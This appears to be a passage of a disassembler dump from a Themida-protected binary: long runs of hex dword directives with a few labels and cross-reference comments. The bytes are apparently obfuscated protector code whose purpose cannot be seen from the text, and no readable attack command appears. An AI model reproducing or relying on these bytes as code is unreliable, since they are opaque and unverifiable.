dd 0FE932D80h, 5B5F8C49h, 10243481h, 6A04EE29h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 71D4C355h, 0D98B09F9h, 68F0Fh, 0B5890000h, 5E2044Dh
dd 83995FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 58150EC3h, 0BD8B2463h, 5E201A5h
dd 0BB9D8589h, 0BF0F05E5h, 519509FAh, 0E905E213h, 202h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 53C35646h
dd 489DB260h, 858BD775h, 5E5BB95h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 0AFC35040h, 8B06B56Eh, 8981C545h
dd 0E21551B5h, 1800C705h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 64D9C352h
dd 0EE96Bh, 0A74F0000h, 50D2791Bh, 0C8BFA025h, 0E328D0D6h
dd 0BB99B58Bh, 858B05E5h, 5E200F9h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 0E2C35040h, 8E5A4984h, 0E302B385h
dd 7E884h, 56450000h, 668E7D84h, 1D9D8BB1h, 5B05E208h
dd 880F0689h, 1, 1D858BF5h, 6A05E224h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0B379C353h
dd 5DF92DB6h, 44689A5h, 525096F9h, 0FD98B66h, 0FE831h
dd 69B30000h, 36156413h, 0DCE4A58h, 0DCE5FA75h, 5F5F5204h
dd 0BB50585Ah, 5FD38A8h, 25BD8B96h, 0E805E20Bh, 0Dh, 4C705737h
dd 51AD5439h, 3709F23Ch, 0FF5FF8CEh, 0E5BB95B5h, 57006A05h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0F241A19Bh, 2521BD8Bh, 696805E2h, 0E9D4E6E4h, 9, 0BE8BA185h
dd 8678C61Ah, 24048146h, 2B381F96h, 89BD2960h, 8005E22Ch
dd 0F61DCE4h, 858DF8BFh, 5E5BB9Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 6BC35343h, 1D449F67h, 0E68D781h
dd 0B0BF5F89h, 500791AAh, 8A240489h, 3995FFF9h, 6A05E208h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 439AC352h, 0FF53CE2h, 981h, 3840F00h, 80000000h
dd 8B6117DFh, 0E219119Dh, 5585C705h, 305E21Bh, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 0FCEC351h, 18Ch, 0BD83F900h, 5E5BB9Dh, 1D840F00h
dd 0E9000000h, 7, 74FD94Bh, 0E97AB819h, 27h, 6800Fh, 9D8B0000h
dd 5E20A61h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h
dd 6AC08B00h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 6383C350h, 459362E1h, 8957A01Dh
dd 0E221C195h, 6AFC5B05h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 301EC350h, 79134C62h
dd 7860Fh, 8C0F0000h, 1, 55BD83F5h, 305E21Bh, 3D7850Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 59D852C3h, 0C874119Ch, 83DE5775h, 0E5BB9DBDh
dd 840F0005h, 3A5h, 79D9D8Bh, 0BF0F05E2h, 9DB5FFF9h, 6A05E5BBh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 137C352h, 861AB07h, 119D896Eh, 0FF05E206h
dd 0E2172D95h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 0BD8BD61Eh, 5E205A9h
dd 0BB91B58Bh, 6A05E5h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 78DD73C3h, 106C7E7h, 6A000100h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 620FC350h, 276FFEC1h, 0E78166CAh, 0BF0F5D1Dh
dd 8B6696FFh, 536050F8h, 850Fh, 615E0000h, 0DB816696h
dd 0B5FF1901h, 5E5BB9Dh, 68E0Fh, 0E3810000h, 38354BA3h
dd 2BD195FFh, 9DBF05E2h, 8B32A7F1h, 0E5BB91B5h, 51006A05h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 0C8FFF853h, 8DEB8196h, 660D229Eh, 858BDE8Bh, 5E210DDh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F4C35141h
dd 45390FD3h, 82862C5Bh, 895FB786h, 0C486h, 79BD8B00h
dd 8B05E222h, 0E20BE995h, 26C38105h, 83089ADAh, 9D0104C2h
dd 5E22C55h, 89205089h, 0E231D595h, 5B858D05h, 8B05E5CEh
dd 0E22109BDh, 0B8868905h, 60000000h, 191D858Bh, 0B58B05E2h
dd 5E20785h, 6A006A61h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 61FEC351h, 0B5FF4065h
dd 5E5BB9Dh, 95FFF88Bh, 5E214E9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 12C35747h, 0F1923137h, 0F56C739h
dd 186h, 505FF900h, 8D0F5250h, 2, 310F6160h, 3489585Ah
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 286AC9Ah, 2AC99589h, 0B5FF05E2h, 5E5BB9Dh
dd 0B0F38166h, 2195FFEDh, 8905E22Dh, 0E21E4985h, 8327B705h
dd 0E20089BDh, 840F0005h, 2Ch, 6650E8B3h, 89BADABBh, 6A2434h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0BB5B64C3h, 5063EA1Ch, 0BB9DB5FFh, 6A05E5h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0E47CCAC3h, 95E868DEh, 13A99D89h, 95FF05E2h, 5E20415h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 77C35646h
dd 11740817h, 41B3323Ch, 59BD898Ch, 8B05E226h, 0E22BCDBDh
dd 9DB5FF05h, 6A05E5BBh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 0B8FC351h, 943E6A6Fh
dd 609E8063h, 0CE8B6652h, 619BB558h, 0A5995FFh, 0DE905E2h
dd 56000000h, 8F6D35F1h, 0DB81E1E0h, 0D0127FD9h, 24CDBD83h
dd 0F0205E2h, 6884h, 0A850F00h, 0F000000h, 485h, 0DCBB6600h
dd 35858B2Ch, 6A05E21Fh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 0BD7C352h, 93237C17h
dd 0BF002694h, 261B7B83h, 6A0000C6h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0E3B9C353h
dd 29851FC5h, 0E22FC99Dh, 0F985C705h, 5E20Ch, 89000000h
dd 0E20BF995h, 0F3D5E905h, 6AFFFFh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 4DDFB7C3h
dd 9CEFB695h, 8B30E2EFh, 50006AC1h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 53D2BA18h, 0A089139Ch
dd 6E950h, 48D70000h, 31DBD9AFh, 0CDBD295Fh, 8D05E20Eh
dd 0E20E9185h, 0F98B6605h, 11E990h, 0A5D0000h, 0CD1DBB9h
dd 7F4C0E01h, 8F25392Fh, 507F0828h, 90F98B66h, 0CE9h, 8C0CC00h
dd 41517807h, 7E70D902h, 6A006ABAh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0C65EC351h
dd 3719E64h, 0BB6656EAh, 6A5B0A9Eh, 12E900h, 0D9CF0000h
dd 1443343Bh, 29F122C4h, 2D186079h, 0E1925DBh, 1FF99D8Bh
dd 858D05E2h, 5E6EE09h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 0F5C35040h, 0E8ECC34Dh, 7
dword_53C930 dd 7C46A794h, 0E9E21640h, 6, 0B36F0A03h, 835BF0ECh, 6A05C0h
; DATA XREF: Themida_:004EF5A8o
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 7B4077C3h, 0D9A7FDD5h, 0F19D3160h, 0F05E218h, 82h, 50906100h
dd 10E85250h, 4B000000h, 2F62A5A0h, 0DC20EE42h, 1CF71171h
dd 0BBF48C64h, 4B4E9A02h, 0E8310F5Bh, 0Ch, 0DC642C61h
dd 1A00A8D5h, 0C63317E8h, 5A5B6DB7h, 0F609058h, 688h, 498D8900h
dd 0F805E21Bh, 60BB6661h, 0E9006A78h, 13h, 0F2AFBB7Bh
dd 4141AECAh, 0E0FF212h, 0B8F71D32h, 298513B8h, 0E20ABDB5h
dd 6A006A05h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 0E560C350h, 0A19D8BCAh, 6605E21Ah
dd 0FFBC58BFh, 0E21E2D95h, 259D8B05h, 8D05E231h, 0E59D808Dh
dd 0FFF2B305h, 52006AD1h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 0DC2D2B69h, 0B35497CCh
dd 0A5137FBBh, 0B9BD8327h, 105E200h, 6A850Fh, 81660000h
dd 6AB666D3h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 4BDB2B4Fh, 9D298450h, 5E22CF9h, 25099D8Bh
dd 0E99005E2h, 5, 12F810A0h, 6A905043h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 3F0AC357h
dd 8B668164h, 0E995FFFBh, 0F905E214h, 0D4CE9h
db 0
byte_53CAC5 db 0E8h, 2 dup(0) ; DATA XREF: Themida_:004F0D38o
dd 815D0000h, 0E6EE13EDh, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0F2F7B751h
dd 10E962h, 0EE760000h, 9B0E9CCh, 0CDDE0305h, 95E9AB4Fh
dd 0BD33A4AAh, 5E21929h, 30819D89h, 858D05E2h, 5E58E9Eh
dd 404EF0BBh, 880F506Bh, 2, 4892EB3h, 52006A24h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 2038018Eh, 51D0806h, 259D89DFh, 6405E223h, 35FFh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
db 0C3h, 0C2h
word_53CB76 dw 0C087h ; DATA XREF: Themida_:004EF16Co
dd 0BD8BF93Dh, 5E22691h, 10C59D29h, 896405E2h, 25h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 1D9D8B0Ch, 0FF05E21Eh, 0E2232985h, 53006A05h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 0D50A814Eh, 0CF8156F6h, 0AED6032h, 0B5FFFF6Ah, 5E23045h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 64C35040h
dd 0FFDF8B8Bh, 0E2189D95h, 13EE905h, 5E90000h, 7D000000h
dd 1E022442h, 70E600B0h, 10119D8Bh, 71E405E2h, 0FE8h, 2E4F8A00h
dd 1B60F2FDh, 9DB97450h, 0D7F3A15Dh, 0C3C78166h, 613C5BD9h
dd 106830Fh, 0B60F0000h, 0A6BB66C8h, 6BAEEh, 0BD8B0000h
dd 5E20D45h, 1162CF81h, 0C18B5127h, 0EE8h, 0AE8DC600h
dd 0BB311E82h, 0B787FF5Dh, 66F3D4DDh, 0C15BD98Bh, 8B0F04E8h
dd 6, 2B15BD03h, 0F76605E2h, 12E9E2h, 5B300000h, 135865E9h
dd 195FC125h, 0CE2C63A0h, 46F3DADFh, 9D31C82Bh, 5E200BDh
dd 13918D89h, 0D18B05E2h, 0DA289EBBh, 92E94Fh, 8B660000h
dd 4858BF9h, 8B000000h, 0B830FFAh, 0F000000h, 58Ch, 0CF816600h
dd 0C0839158h, 4870F07h, 66000000h, 8329B7BBh, 816600C0h
dd 3BCA49DFh, 23830FD0h, 0E8000000h, 0Ch, 6DB6F34Ah, 12C53CD2h
dd 2BC0A5CEh, 4F5BD8Bh, 0E95F05E2h, 3Ch, 153DBD8Bh, 8D8B05E2h
dd 0FFFFFFFFh, 0D0DBD8Bh, 0E18305E2h, 21840F01h, 8B000000h
dd 0E214D5BDh, 0FFA58305h, 0FEFFFFFFh, 89D9B70Fh, 495h
dd 46D38100h, 0E95999CBh, 0
dd 636BB58Dh, 9D3305E6h, 5E231B1h, 0BD8B006Ah, 5E200BDh
dd 0AB995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0F4BE5DC3h, 75D697CEh, 0CE9h, 902F2000h
dd 482C4580h, 0D4FC016Ah, 0FF1B9D0h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E14DF3C3h
dd 3EAD5B24h, 0E98D3EF5h, 8, 3349BFA7h, 0D08BD3B0h, 1F058509h
dd 0E18305E2h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0BF6409Ch, 9D0DE604h
dd 12E849h, 0FB4D0000h, 0F35B2256h, 3F1E08F1h, 927C5828h
dd 17F7426Eh, 24058529h, 0FC5B05E2h, 69D6C381h, 0B83B20h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 0B1E3C352h, 602B8637h, 6A591EDAh
dd 1B318D89h, 0D22B05E2h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 0FAC35646h, 12E87Dh, 0DF4E0000h, 7398C45Ah
dd 556AD4CEh, 31A2C705h, 32781217h, 14E8h, 3DDDD600h, 0E3C92CB4h
dd 59F2EC95h, 689537D6h, 92254A69h, 0EABF665Dh, 0AD5B5F6Ah
dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 36BC357h
dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 0BD8B61C0h, 5E21141h, 880Dh, 7599BB00h
dd 958B36D6h, 5E20BE9h, 7E9h, 29342900h, 0DE1CB1A6h, 7618D8Bh
dd 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 4DE28C3h, 5C8E138Bh, 5E9B5h, 86B00000h, 50B2A24Eh
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 6DB58958h
dd 8B05E205h, 0E21781BDh, 81665005h, 5B6D85C7h, 0D79BD83h
dd 0F0005E2h, 7284h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 0FCC9CA3Fh, 0B8h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 3EB8ABEh, 0BF0F5CA4h, 428D8DDEh, 8B05E24Ch, 6AE1FFF8h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 0F907C350h, 8367D780h, 0E21B55BDh, 840F0005h
dd 3BCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 13C35545h, 55BD83ACh, 105E21Bh, 3AD840Fh, 9D230000h
dd 5E217EDh, 0EB69BB66h, 1B55BD83h, 0F0305E2h, 36086h
dd 0C1BF6600h, 0BD016067h, 5E22AB1h, 6601C380h, 0BD8BD98Ch
dd 5E215B9h, 7CD78166h, 4E18063h, 0FC90AFCh, 0DC84h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 9D8B5217h, 5E20B8Dh, 241D858Bh, 0B70F05E2h, 0A98533DBh
dd 8905E22Ah, 0E21A2995h, 52509005h, 5250310Fh, 310F5250h
dd 310F585Ah, 585A585Ah, 14E950h, 1CD80000h, 81B70B37h
dd 0E84A7AD1h, 836AB267h, 1E0EF0Ah, 8B906E9Ah, 0E9006ADFh
dd 10h, 8C0CC17h, 41517807h, 7E70D902h, 760A78BAh, 915B8968h
dd 24348139h, 398E5876h, 68A0Fh, 0BD890000h, 5E2236Dh
dd 83995FFh, 87BF05E2h, 8921483Dh, 0E5BB9D85h, 76DF8105h
dd 0E9742D63h, 209h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 8AC35545h, 999D8BE0h, 8B05E226h, 0E22D399Dh
dd 95858B05h, 6A05E5BBh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 0C754C352h, 10CD591Bh
dd 1BABB1AFh, 1800C7h, 9AB70000h, 0BB99B58Bh, 858B05E5h
dd 5E200F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 2CC35141h, 38EF120Ch, 0CBB0BB8Eh, 698D8924h, 8905E218h
dd 0BD8D0906h, 8B05E216h, 0E2241D85h, 5E905h, 0C6350000h
dd 89E92941h, 6A0446h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 6DDC5CC3h, 999D8B90h, 8B05E22Ah
dd 0E201859Dh, 8E85005h, 35000000h, 53C812C7h, 6053E6F2h
dd 0C01F74BEh, 0EE966h, 578D0000h, 0FA4E6EE6h, 0FBC2BC00h
dd 0EDDF979Dh, 34895B61h, 51006A24h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 7AB7D7Bh, 95B5FFA5h
dd 6A05E5BBh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 0E009C353h, 485B589h, 800F05E2h
dd 6, 0CFD9529h, 466805E2h, 51D7043Fh, 5F575250h, 10E8310Fh
dd 13000000h, 3D71501Eh, 0C985FC60h, 727453CAh, 5BA9AEA2h
dd 815B585Ah, 0C4B92404h, 858D291Ah, 5E5BB9Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0E3C35343h, 0DB664898h
dd 0CA1BD89h, 0E99005E2h, 10h, 0B004CD05h, 60EA781Ah, 0B975A2E3h
dd 3D92C5BCh, 9092B750h, 78E2BF66h, 83995FFh, 6A05E2h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 60D63DC3h, 0BE9h, 813DD800h, 0FF06E11Fh, 0D31B8F6h
dd 1DBF6661h, 6A6111h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 18F866C3h, 0C3338215h, 85C7FC7Ah
dd 5E21B55h, 3, 0BD8301B7h, 5E5BB9Dh, 3E840F00h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 0D9CEC357h, 3FDF1934h, 9958923h, 0E905E21Dh
dd 2Ch, 0B8F0Fh, 6E90000h, 2A000000h, 0D6B0F049h, 0C3050C8h
dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 23358D31h
dd 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 0DC8D5CC3h, 12E9h, 44A15400h, 0D287342Fh
dd 286E785Eh, 80D739E1h, 8B68B082h, 0E23019BDh, 55BD8305h
dd 305E21Bh, 3C1850Fh, 0E3800000h, 0BD83F536h, 5E5BB9Dh
dd 0B0840F00h, 81000003h, 4AF2B5EBh, 9DB5FF28h, 0E905E5BBh
dd 14h, 0EF801AA8h, 36E26D06h, 9975820Fh, 0BDEFDD68h, 232FC9D0h
dd 172D95FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 0BBCDF9C3h, 5EED84CEh, 0BB91B58Bh
dd 0E85605E5h, 5, 1D602458h, 0C75B5B2Dh, 1000106h, 71858900h
dd 9605E201h, 13E857h, 54EE0000h, 7B759478h, 0C95CA2C8h
dd 686906B3h, 960D29CDh, 5FDF8BDBh, 59BF505Fh, 965F55D7h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5FC35040h
dd 49FF7F9Ch, 93F4A973h, 9DB5FFF5h, 0E805E5BBh, 5, 0CE65EF75h
dd 0CDBD8BF6h, 5F05E20Ah, 2BD195FFh, 49BF05E2h, 8B48F83Dh
dd 0E5BB91B5h, 9D9D8905h, 8B05E223h, 0E210DD85h, 0C9958905h
dd 8905E222h, 0C486h, 0D98B6600h, 0BE9958Bh, 0DE8B05E2h
dd 6A04C283h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 7338C350h, 0CE96Eh, 71F40000h, 5D557219h
dd 1E191569h, 508922DEh, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 0E1E1C0BBh, 29BD8BB0h
dd 0BF05E22Dh, 282A42E0h, 0CE5B858Dh, 9D8905E5h, 5E22AF9h
dd 8689F7B7h, 0B8h, 0A89BD8Bh, 6A05E2h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 0C6C35242h, 0D5CC606h
dd 9D8B612Bh, 5E210E1h, 0BB9DB5FFh, 6A05E5h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 35BA4DC3h
dd 14E995FFh, 0B58905E2h, 5E22FA5h, 0FE8B6650h, 0E8243489h
dd 13h, 0A7E3D3A8h, 122787EFh, 8AEE0C68h, 0ED56FCBBh, 897B9223h
dd 0E22685B5h, 8A0F5F05h, 4, 7B77BB66h, 0BB9DB5FFh, 6A05E5h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 0DA63E6C3h, 0D31AAD7Fh, 0FB8B85D5h, 32EDBD89h, 95FF05E2h
dd 5E22D21h, 7C6818BFh, 89BD8350h, 5E200h, 1E840Fh, 0B5890000h
dd 5E209D1h, 8840Fh, 8C0F0000h, 2, 8B505F56h, 243489D8h
dd 569ABB66h, 0BB9DB5FFh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 29BDBEC3h, 0DD0CCD9Dh
dd 41595FFh, 850105E2h, 5E218E1h, 0BB9DB5FFh, 958905E5h
dd 5E22225h, 0A5995FFh, 6A05E2h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 0F126CC3h, 0D840F2Eh
dd 60000000h, 0F515F681h, 0C8B806EDh, 610101F5h, 24CDBD83h
dd 0F0205E2h, 9184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 9D700EBDh, 8D31100Eh
dd 5E216ADh, 85B52B60h, 8105E201h, 621EE4D1h, 858B6159h
dd 5E21F35h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 64C35040h, 0E9CB39EDh, 0Ch, 0E6481895h, 17BCA309h
dd 0BB6052F7h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 7808C351h, 1E718D31h
dd 85C705E2h, 5E20CF9h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EEC35747h
dd 67F6049Bh, 0E9D509E0h, 0FFFFF3E0h, 8E9h, 69185C00h
dd 0D619DDDAh, 0FC18BF7h, 80h, 91858D00h, 8B05E20Eh, 0E201099Dh
dd 66509005h, 6090FA8Bh, 8A5E5160h, 6A6161D9h, 9D8B5100h
dd 5E21B9Dh, 0BB006A5Fh, 606B9901h, 0FCB6858Dh, 9D8B05E6h
dd 5E21709h, 8B05C083h, 0FB8B66F8h, 0E8516090h, 8, 4CB9E559h
dd 0AAB2A790h, 5AB75F59h, 0BB665061h, 6A901AF8h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 0B293C352h, 183F79Eh, 0C60D59DBh, 2649BD23h, 6A05E2h
dd 0BD8BF1B7h, 5E232FDh, 870F006Ah, 6, 775BD89h, 95FF05E2h
dd 5E21E2Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 6C35242h, 0F955CEEh, 0CD61D6EBh, 9D808D8Dh, 0BD2B05E5h
dd 5E200E5h, 9D8BD1FFh, 5E20ACDh, 0B9BD83h, 0F0105E2h
dd 7485h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1704h, 0C3504000h, 48E7A7ABh, 26A6FB7h, 48950F5h, 55006A24h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 8C0FC5D0h, 3, 0FFF88B66h, 0E214E995h, 55006A05h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 428156h, 0D80E934h, 0E80000h, 5D000000h, 0FCC0ED81h
dd 6A05E6h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 0CA94F7C3h, 7D0E20B0h, 3A393C0h, 0E211A19Dh
dd 7E905h, 8C2A0000h, 8071DD42h, 53006A9Ch, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 906A21E4h
dd 0FA8BC635h, 8E9E858Dh, 6A05E5h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 37E483C3h, 0DEFF5EC3h
dd 0E990F88Bh, 7, 34431400h, 5012C8CBh, 0F890F88Bh, 0A1BD89h
dd 0FF6405E2h, 35h, 899D8B00h, 6405E230h, 2589h, 0BB660000h
dd 85FFE65Eh, 5E22329h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 0DDC35343h, 0C43DAD88h, 0DA48FCF5h, 0EFBB66F6h
dd 80FF6A69h, 0BD03D0CBh, 5E22451h, 2A79B5FFh, 6A05E2h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 43AA2AC3h, 21AB4772h, 189D95FFh, 0FFE905E2h, 60000000h
dd 0A2CFBE66h, 31958B60h, 6005E223h, 0B0616161h, 0C1B58900h
dd 0E605E20Ch, 0F9BD8B70h, 0E405E215h, 3CF98B71h, 0D3830F61h
dd 66000000h, 0F17E3BBh, 0BAF5C8B6h, 6, 8E9h, 0A4BB9200h
dd 55C60194h, 0B7C18B49h, 4E8C148h, 799D8Bh, 0F76605E2h
dd 0C82BFCE2h, 8BF9BF0Fh, 359D33D1h, 8B05E208h, 0E201919Dh
dd 90E905h, 858B0000h, 5F4C4C44h, 10C58D89h, 0B58905E2h
dd 5E21529h, 6607C083h, 83EDBBBFh, 8D8900C0h, 5E20FC1h
dd 830FD03Bh, 13h, 5FE9D1B7h, 0F000000h, 685h, 919D8900h
dd 8B05E219h, 0FFFFFF8Dh, 0C78166FFh, 0E1837203h, 3F840F01h
dd 0E9000000h, 7, 0F363F595h, 834B3A79h, 0FFFFFFA5h, 0BE9FEFFh
dd 0B4000000h, 5A9B54FFh, 52662108h, 89603B79h, 0E20E31B5h
dd 0B5315105h, 5E20485h, 9589615Eh, 5F4C4C44h, 0E9F5h
dd 0B58D0000h, 5E6735Ch, 226D9D8Bh, 6A05E2h, 2F959D89h
dd 0BD8B05E2h, 5E2211Dh, 0AB995FFh, 6A05E2h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0CAB5DAC3h
dd 893D0FF7h, 0E2081D8Dh, 10D4B905h, 0E1830000h, 79BD01FCh
dd 0FC05E21Eh, 0B80EDF80h, 0
dd 2AD1BD89h, 0D22B05E2h, 0AD0DD380h, 0E8D1C233h, 0E983D003h
dd 0B7F47504h, 50006A32h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 6757D411h, 0AA48EC4Bh
dd 0D84B379h, 88h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 7C35646h, 31198501h, 958B05E2h, 5E20BE9h
dd 48F0Fh, 0BB660000h, 8D8BE49Ah, 5E20761h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 4CC35040h, 8B63320Ch
dd 0E21A29BDh, 0DABF0F05h, 506BDB80h, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 34E42269h
dd 13E83Ah, 912D0000h, 0C8AD15C5h, 0E0AA49B4h, 74877672h
dd 9398E4D6h, 0E5BD8BBBh, 5B05E230h, 0E850006Ah, 3, 58C35820h
